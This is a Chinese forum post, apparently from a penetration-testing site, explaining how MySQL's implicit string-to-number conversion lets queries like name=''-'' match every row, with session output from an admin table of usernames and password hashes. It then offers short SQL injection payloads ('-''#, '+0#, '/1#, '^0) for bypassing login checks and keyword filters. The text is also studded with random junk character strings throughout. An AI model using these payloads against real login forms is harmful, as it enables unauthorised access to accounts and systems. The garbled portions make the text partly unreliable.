| 我们先来看这样一个场景。 有以下表结构: " h8 }8 l0 t4 q8 J0 _( T8 D% O mysql> desc admin; +----------+--------------+------+-----+---------+----------------+# D+ G. o6 @: d, F | Field | Type | Null | Key | Default | Extra | +----------+--------------+------+-----+---------+----------------+ | id | mediumint(9) | NO | PRI | NULL | auto_increment | | name | char(32) | NO | UNI | NULL | | | password | char(32) | NO | UNI | NULL | | +----------+--------------+------+-----+---------+----------------+1 ~6 e* N9 y0 {- \5 n* n 3 rows in set (0.00 sec)' [' f# S$ [- A6 S9 | 执行select * from admin;,成功返回所有记录内容。 +----+--------+----------------------------------+ | id | name | password | +----+--------+----------------------------------+8 ]0 G0 j3 F' W4 Z7 ? | 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 | | 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 | | 4 | n00b | ff80e8508d39047460921792273533a4 |# M8 Q- I' m- n +----+--------+----------------------------------+ 3 rows in set (0.00 sec) 执行select * from admin where name=”;,没有匹配到任何记录。 2 g+ P& x6 t, n$ y" ~; O mysql> select * from admin where name = '';9 |! X- ]1 I! |* p3 Q! j Empty set (0.00 sec)* f' j, L) _! S! ]1 q3 n* Z* }/ | 那么我们来执行select * from admin where name = ”-”;; e1 w; v& a/ _8 y: C7 ] - S0 B) T: }' U1 G; E +----+--------+----------------------------------+4 P9 @7 s5 `+ \7 J+ z- a | id | name | password | +----+--------+----------------------------------+! G! v, \- C$ x' y7 [4 L W1 ] | 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |$ z, a3 E$ x0 R | 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |6 M! b' b9 d- O- H8 b$ t | 4 | n00b | ff80e8508d39047460921792273533a4 |. \0 G5 O+ X2 a +----+--------+----------------------------------+% @! i: p+ S! F0 ~* T, X0 M 3 rows in set, 3 warnings (0.00 sec) 可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息: mysql> show warnings; +---------+------+------------------------------------------ | Level | Code | Message# j6 l3 V3 N, _ +---------+------+------------------------------------------ | Warning | 1292 | Truncated incorrect DOUBLE value: 'admin, I( ~( w4 y$ ]! ^* t3 ^! t | Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s% D6 `* M/ ^( n. _ | Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b +---------+------+------------------------------------------5 `% [6 A$ e/ J9 i, w 3 rows in set (0.00 sec) 提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。 - O, X) V, x, G % ^7 k, H/ y) h1 s; j5 S mysql> select ''-'';* ~1 k( l E- H +-------+ H l( H3 n }; `( `/ ^) u | ''-'' | +-------+5 n% e6 \. b3 c. S9 | | 0 | +-------+ 1 row in set (0.00 sec) 返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0: * y+ w+ }) m4 E, d2 J( e " h( e* S4 |( A0 P* ^0 Y mysql> select CAST((select name from admin limit 1,1) as DECIMAL); +-----------------------------------------------------+ | CAST((select name from admin limit 1,1) as DECIMAL) |, O4 M- E9 s* L, C +-----------------------------------------------------+ | 0 |* g- X: E$ b5 S, O, J8 D2 B. n; f2 Q +-----------------------------------------------------+ 1 row in set, 1 warning (0.00 sec) 因此where语句构成了相等的条件,where 0=”=”,记录被返回。 SQL注入场景: http://www.sqlzoo.net/hack/ ) Q5 B! k9 y$ c' k, \ ( W1 [6 P7 g* [# @1 {5 e 7 T# t( k: S: _9 j1 r2 ^ % ^) X+ D0 M' Z1 h* f8 g 如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。 4 W$ L8 g8 [( q) o: v" k 那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。 ( P9 S4 E! n+ P3 p( t) z9 ~ & ]! z2 f% K9 r5 \. I / d2 {) s9 ^2 b- J2 |% b 仅仅在name子段输入’-”#,password留空,即可绕过登录验证。 . F; m5 T7 [# H0 H 1 w6 u6 m# e) Y8 \5 n 7 t; O7 Q* i. V" r* T4 Y# E6 E 除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可 6 p- P3 {, o! ^" l6 X( b mysql> select ''/1; +------+- v2 \" l6 C- u- L" N | ''/1 |: b8 B0 m: ?% R5 l4 s8 i +------+ | 0 |1 g* f; }$ B( y" |+ b +------+ 1 row in set (0.00 sec) 类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。 : H4 A0 ?' z' W" ?/ m8 l $ l! s) R! m- }# Q9 h# a- [+ W3 l1 Q 利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。 |
| 欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) | Powered by Discuz! X3.2 |